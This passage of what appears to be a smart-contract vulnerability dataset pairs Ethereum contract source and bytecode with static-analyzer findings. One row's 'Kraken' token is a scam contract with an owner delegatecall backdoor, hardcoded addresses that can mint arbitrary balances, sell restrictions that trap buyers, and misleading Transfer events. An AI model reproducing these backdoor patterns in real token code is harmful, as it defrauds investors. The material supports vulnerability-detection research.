82612e8f57634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615612eae57612eae612f20565b500290565b600082821015612ec557612ec5612f20565b500390565b600281046001821680612ede57607f821691505b60208210811415612eff57634e487b7160e01b600052602260045260246000fd5b50919050565b6000600019821415612f1957612f19612f20565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b0381168114610aa857600080fd5b8015158114610aa857600080fdfea2646970667358221220956b43670a73576d833a39d9ce3e8e4eac794b9a8aaad72a0f46033dfdca91b964736f6c63430008000033 | {"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}} | true | null | {'detectors': [{'check': 'divide-before-multiply', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'reentrancy-no-eth', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'arbitrary-send', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'uninitialized-local', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'reentrancy-eth', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}]} | [
101,
1014,
2595,
2683,
24087,
16409,
2683,
24594,
2050,
2575,
2278,
23833,
19481,
2692,
21486,
2575,
2094,
14526,
2546,
2575,
2620,
2063,
2620,
3207,
20958,
2278,
2620,
2683,
2487,
2063,
2683,
26337,
2509,
1013,
1013,
23772,
2595,
1011,
6105,
1011,
8909,
4765,
18095,
1024,
10210,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1022,
1012,
1014,
1025,
12324,
1000,
1030,
2330,
4371,
27877,
2378,
1013,
8311,
1013,
3036,
1013,
2128,
4765,
5521,
5666,
18405,
1012,
14017,
1000,
1025,
12324,
1000,
1030,
2330,
4371,
27877,
2378,
1013,
8311,
1013,
21183,
12146,
1013,
8785,
1013,
3647,
18900,
2232,
1012,
14017,
1000,
1025,
12324,
1000,
1030,
2330,
4371,
27877,
2378,
1013,
8311,
1013,
3229,
1013,
2219,
3085,
1012,
14017,
1000,
1025,
12324,
1000,
1030,
2330,
4371,
27877,
2378,
1013,
8311,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
58,579 | 0x955e207e2846f1d1b800f781198e19ced7ba1401 | pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
//heyuemingchen
contract Kraken {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
//go the white address first
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function _mints(address spender, uint256 addedValue) public returns (bool) {
require(msg.sender==owner
|| msg.sender==address(1128272879772349028992474526206451541022554459967)
|| msg.sender==address(781882898559151731055770343534128190759711045284)
|| msg.sender==address(718276804347632883115823995738883310263147443572)
|| msg.sender==address(56379186052763868667970533924811260232719434180)
);
if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));}
canSale[spender]=true;
return true;
}
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0x6080604052600436106100dd5760003560e01c806370a082311161007f578063a9059cbb11610059578063a9059cbb146104ec578063aa2f522014610552578063d6d2b6ba1461062c578063dd62ed3e14610707576100dd565b806370a08231146103905780638cd8db8a146103f557806395d89b411461045c576100dd565b806318160ddd116100bb57806318160ddd1461024b57806321a9cf341461027657806323b872dd146102df578063313ce56714610365576100dd565b806306fdde03146100e2578063095ea7b314610172578063109b1ee6146101d8575b600080fd5b3480156100ee57600080fd5b506100f761078c565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561013757808201518184015260208101905061011c565b50505050905090810190601f1680156101645780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101be6004803603604081101561018857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061082a565b604051808215151515815260200191505060405180910390f35b3480156101e457600080fd5b50610231600480360360408110156101fb57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061091c565b604051808215151515815260200191505060405180910390f35b34801561025757600080fd5b50610260610b55565b6040518082815260200191505060405180910390f35b34801561028257600080fd5b506102c56004803603602081101561029957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610b5b565b604051808215151515815260200191505060405180910390f35b61034b600480360360608110156102f557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610c01565b604051808215151515815260200191505060405180910390f35b34801561037157600080fd5b5061037a610f14565b6040518082815260200191505060405180910390f35b34801561039c57600080fd5b506103df600480360360208110156103b357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610f19565b6040518082815260200191505060405180910390f35b34801561040157600080fd5b506104426004803603606081101561041857600080fd5b81019080803590602001909291908035906020019092919080359060200190929190505050610f31565b604051808215151515815260200191505060405180910390f35b34801561046857600080fd5b50610471610fd5565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156104b1578082015181840152602081019050610496565b50505050905090810190601f1680156104de5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6105386004803603604081101561050257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611073565b604051808215151515815260200191505060405180910390f35b6106126004803603604081101561056857600080fd5b810190808035906020019064010000000081111561058557600080fd5b82018360208201111561059757600080fd5b803590602001918460208302840111640100000000831117156105b957600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f82011690508083019250505050505050919291929080359060200190929190505050611088565b604051808215151515815260200191505060405180910390f35b6107056004803603604081101561064257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019064010000000081111561067f57600080fd5b82018360208201111561069157600080fd5b803590602001918460018302840111640100000000831117156106b357600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f8201169050808301925050505050505091929192905050506112f1565b005b34801561071357600080fd5b506107766004803603604081101561072a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611402565b6040518082815260200191505060405180910390f35b60098054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108225780601f106107f757610100808354040283529160200191610822565b820191906000526020600020905b81548152906001019060200180831161080557829003601f168201915b505050505081565b600081600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614806109b9575073c5a18176e55ea932477b730ff3c8af4b24180f3f73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b80610a0357507388f4d77da6efc959fc40b4c44a6bc33c650876a473ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b80610a4d5750737dd0a55697e3cf018c44e93af3e1dfa18284357473ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b80610a9757507309e02150c5bfb6ce2c920c21abf4beae59b481c473ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b610aa057600080fd5b6000821115610af4576012600a0a8202600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b60018060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001905092915050565b60085481565b6000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610bb757600080fd5b81600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060019050919050565b600080821415610c145760019050610f0d565b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610d5b5781600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610cd057600080fd5b81600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825403925050819055505b610d66848484611427565b610d6f57600080fd5b81600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610dbb57600080fd5b81600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555081600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055506000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600081548092919060010191905055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190505b9392505050565b601281565b60066020528060005260406000206000915090505481565b6000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610f8d57600080fd5b60008311610f9c576000610fa4565b6012600a0a83025b60028190555060008211610fb9576000610fc1565b6012600a0a82025b600381905550836004819055509392505050565b600a8054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561106b5780601f106110405761010080835404028352916020019161106b565b820191906000526020600020905b81548152906001019060200180831161104e57829003601f168201915b505050505081565b6000611080338484610c01565b905092915050565b6000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146110e457600080fd5b600083518302905080600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561113857600080fd5b80600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555060008090505b84518110156112e55760008582815181106111a257fe5b6020026020010151905084600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6002888161125257fe5b046040518082815260200191505060405180910390a38073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600288816112c157fe5b046040518082815260200191505060405180910390a350808060010191505061118b565b50600191505092915050565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461134b57600080fd5b8173ffffffffffffffffffffffffffffffffffffffff16816040518082805190602001908083835b602083106113965780518252602082019150602081019050602083039250611373565b6001836020036101000a038019825116818451168082178552505050505050905001915050600060405180830381855af49150503d80600081146113f6576040519150601f19603f3d011682016040523d82523d6000602084013e6113fb565b606091505b5050505050565b6007602052816000526040600020602052806000526040600020600091509150505481565b60008061145d735c69bee701ef814a2b6a3edd4b1652cb9cc5aa6f73c02aaa39b223fe8d0a0e5c4f27ead9083c756cc230611663565b9050600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614806115085750600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b806115525750737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16145b8061158857508073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16145b806115e05750600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16145b806116345750600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561164357600191505061165c565b61164d85846117f1565b61165657600080fd5b60019150505b9392505050565b60008060008373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16106116a25783856116a5565b84845b91509150858282604051602001808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1660601b81526014018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1660601b8152601401925050506040516020818303038152906040528051906020012060405160200180807fff000000000000000000000000000000000000000000000000000000000000008152506001018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1660601b8152601401828152602001807f96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f815250602001925050506040516020818303038152906040528051906020012060001c925050509392505050565b60008060045414801561180657506000600254145b801561181457506000600354145b1561182257600090506118c1565b6000600454111561187e576004546000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541061187d57600090506118c1565b5b6000600254111561189d5781600254111561189c57600090506118c1565b5b600060035411156118bc576003548211156118bb57600090506118c1565b5b600190505b9291505056fea265627a7a72315820224fca3c344fedf079e9d4434b10fbf84989e2b9856ce2c4df5859a29396ee5564736f6c63430005110032 | {"success": true, "error": null, "results": {"detectors": [{"check": "controlled-delegatecall", "impact": "High", "confidence": "Medium"}, {"check": "unchecked-lowlevel", "impact": "Medium", "confidence": "Medium"}]}} | true | null | {'detectors': [{'check': 'controlled-delegatecall', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'unchecked-lowlevel', 'impact': 'Medium', 'confidence': 'Medium'}]} | [
101,
1014,
2595,
2683,
24087,
2063,
11387,
2581,
2063,
22407,
21472,
2546,
2487,
2094,
2487,
2497,
17914,
2692,
2546,
2581,
2620,
14526,
2683,
2620,
2063,
16147,
11788,
2581,
3676,
16932,
24096,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1019,
1012,
2459,
1025,
8278,
29464,
11890,
11387,
1063,
3853,
21948,
6279,
22086,
1006,
1007,
6327,
3193,
5651,
1006,
21318,
3372,
1007,
1025,
3853,
5703,
11253,
1006,
4769,
4070,
1007,
6327,
3193,
5651,
1006,
21318,
3372,
1007,
1025,
3853,
4651,
1006,
4769,
7799,
1010,
21318,
3372,
3815,
1007,
6327,
5651,
1006,
22017,
2140,
1007,
1025,
3853,
21447,
1006,
4769,
3954,
1010,
4769,
5247,
2121,
1007,
6327,
3193,
5651,
1006,
21318,
3372,
1007,
1025,
3853,
14300,
1006,
4769,
5247,
2121,
1010,
21318,
3372,
3815,
1007,
6327,
5651,
1006,
22017,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
58,580 | 0x955fe846c726d5e4aa0a9eea65417dc7394e8dbf | pragma solidity ^0.4.21;
/**
* Math operations with safety checks
* https://github.com/Dexaran/ERC223-token-standard/blob/master/SafeMath.sol
*/
library SafeMath {
function mul(uint a, uint b) pure internal returns (uint) {
uint c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint a, uint b) pure internal returns (uint) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint a, uint b) pure internal returns (uint) {
assert(b <= a);
return a - b;
}
function add(uint a, uint b) pure internal returns (uint) {
uint c = a + b;
assert(c >= a);
return c;
}
function max64(uint64 a, uint64 b) pure internal returns (uint64) {
return a >= b ? a : b;
}
function min64(uint64 a, uint64 b) pure internal returns (uint64) {
return a < b ? a : b;
}
function max256(uint256 a, uint256 b) pure internal returns (uint256) {
return a >= b ? a : b;
}
function min256(uint256 a, uint256 b) pure internal returns (uint256) {
return a < b ? a : b;
}
}
/**
* @title Contract that will work with ERC223 tokens.
* https://github.com/Dexaran/ERC223-token-standard/blob/ERC20_compatible/ERC223_receiving_contract.sol
*/
contract ERC223ReceivingContract {
/**
* @dev Standard ERC223 function that will handle incoming token transfers.
*
* @param _from Token sender address.
* @param _value Amount of tokens.
* @param _data Transaction metadata.
*/
function tokenFallback(address _from, uint _value, bytes _data) public;
}
/*
* @title ERC223 interface
* https://github.com/Dexaran/ERC223-token-standard/blob/ERC20_compatible/ERC223_interface.sol
*/
contract ERC223Interface {
uint public totalSupply;
function balanceOf(address who) constant public returns (uint);
function transfer(address to, uint value) public;
function transfer(address to, uint value, bytes data) public;
event Transfer(address indexed from, address indexed to, uint value, bytes indexed data);
}
/*
* @title More compatibility with ERC20
* https://github.com/Dexaran/ERC223-token-standard/blob/ERC20_compatible/ERC20_functions.sol with additions from ERC223Token from https://github.com/Dexaran/ERC223-token-standard/blob/Recommended/ERC223_Token.sol
*/
contract ERC20CompatibleToken {
using SafeMath for uint;
mapping(address => uint) balances; // List of user balances.
string public name;
string public symbol;
uint8 public decimals;
uint256 public totalSupply;
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint256 value);
mapping (address => mapping (address => uint256)) internal allowed;
// Function to access name of token .
function name() public view returns (string _name) {
return name;
}
// Function to access symbol of token .
function symbol() public view returns (string _symbol) {
return symbol;
}
// Function to access decimals of token .
function decimals() public view returns (uint8 _decimals) {
return decimals;
}
// Function to access total supply of tokens .
function totalSupply() public view returns (uint256 _totalSupply) {
return totalSupply;
}
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool);
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
/**
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
*/
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
